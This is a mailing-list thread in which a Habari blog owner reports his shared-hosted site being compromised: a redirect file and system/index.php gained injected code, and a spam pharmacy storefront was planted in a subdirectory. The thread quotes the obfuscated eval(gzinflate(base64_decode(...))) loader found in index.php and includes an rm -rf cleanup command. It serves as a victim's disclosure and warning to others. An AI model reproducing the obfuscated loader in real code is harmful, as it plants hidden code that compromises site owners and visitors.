Just guessing here, but maybe my vulnerability was that I was
deploying straight from my svn sandbox.  (So an old 0.5 or 0.6
vulnerability would still be accessible if an attacker knew where to
drill down?)

Here's hoping that rm -rf `find . -type d -name .svn` helped.

Sorry to be talking to myself here - but it may help someone in the
future if they find unexpected code in their system/index.php, too.

--David

On Oct 9, 10:02 pm, David <david.bl...@gmail.com> wrote:
> Also, in my system/index.php, the following appears...
>
> // We start up output buffering in order to take advantage of output
> compression,
> // as well as the ability to dynamically change HTTP headers after
> output has started.
> ob_start();
> eval (gzinflate(base64_decode(
> 'RY6xDoIwFEV3Ev6hG7L0qS1oorEumpj4D82DPqQJpdhSvl8cjNM9yzm56nJWeXYN'
> .'9E420KaA3jsC0wzpO7hYw83gkLfegUvRtjA7FBD9+IogaYlHEoShqkl0dYOyrQ77'
> .'nZFbQXzqp4KVpzz7xZmxYUS3gtb3x/OmNSsZZwVgmv3g0fwVtd76AA==')));
> spl_autoload_register( 'habari_autoload' );
>
> I've got no idea how this happened.  Nobody else has my password, and
> it's not a dictionary word, reused password or common password.
>
> --David
>
> On Oct 9, 4:24 pm, David <david.bl...@gmail.com> wrote:
>
>
>
>
>
>
>
> > This may not have anything to do with any weakness in Habari.  But it
> > did happen in the domain where I maintain my Habari installation.
> > (And I'm sending this email prematurely, I'm sure.)
>
> > My webserver is on an shared server at Dreamhost. I'm running Habari
> > 0.7.1.
>
> > I have the domainhttp://david.dlma.comredirecttohttp://david.dlma.com/habari
> > in a plaintext php file.  Then today, I noticed that my simple
> > redirect turned into an eval( (gzinflate(base64_decode( ... ) ) )
> > string some days ago.
>
> > It looked like the contents of this 
> > file:http://david.dlma.com/index.php_with_weird_eval_statement.txt, except
> > I replaced the eval with an echo statement.
>
> > Following the clues, I've got a subdirectory filled with a storefront
> > that sells cialis with malign php code all around.
>
> > $ ls -al
> > total 124
> > drwxr-xr-x 2 user pg844184 4096 2011-10-09 15:59 .
> > drwxr-xr-x 6 user pg844184 4096 2009-08-08 02:14 ..
> > -rw-r--r-- 1 user pg844184 8609 2011-09-27 21:19
> > 345e2d4c5075dc599ad78c29682042f0
> > -rw-r--r-- 1 user pg844184 8119 2011-09-27 21:19
> > 3ec3771ca32c4a6a5e040a4741016233
> > -rw-r--r-- 1 user pg844184 4456 2011-09-27 11:20
> > 4evs8e3ear56e3f6ba4c5721d403e.php
> > ... (some more, without the .php extension) ...
> > -rw-r--r-- 1 user pg844184  104 2009-08-08 02:14 index.php
>
> > It's probably just me, but you may want to check for eval calls where
> > you didn't expect them.
>
> > Luckily (or not), the storefront installed on my system was put into a
> > subdirectory that I protected with a .htaccess authentication.  So I
> > don't think anybody saw the fake drugstore anyway.
>
> > Sorry if this actually had nothing to do with Habari.  I don't know
> > enough about intrusions like this to be sure.  I'm off to delete
> > obviously infected files.

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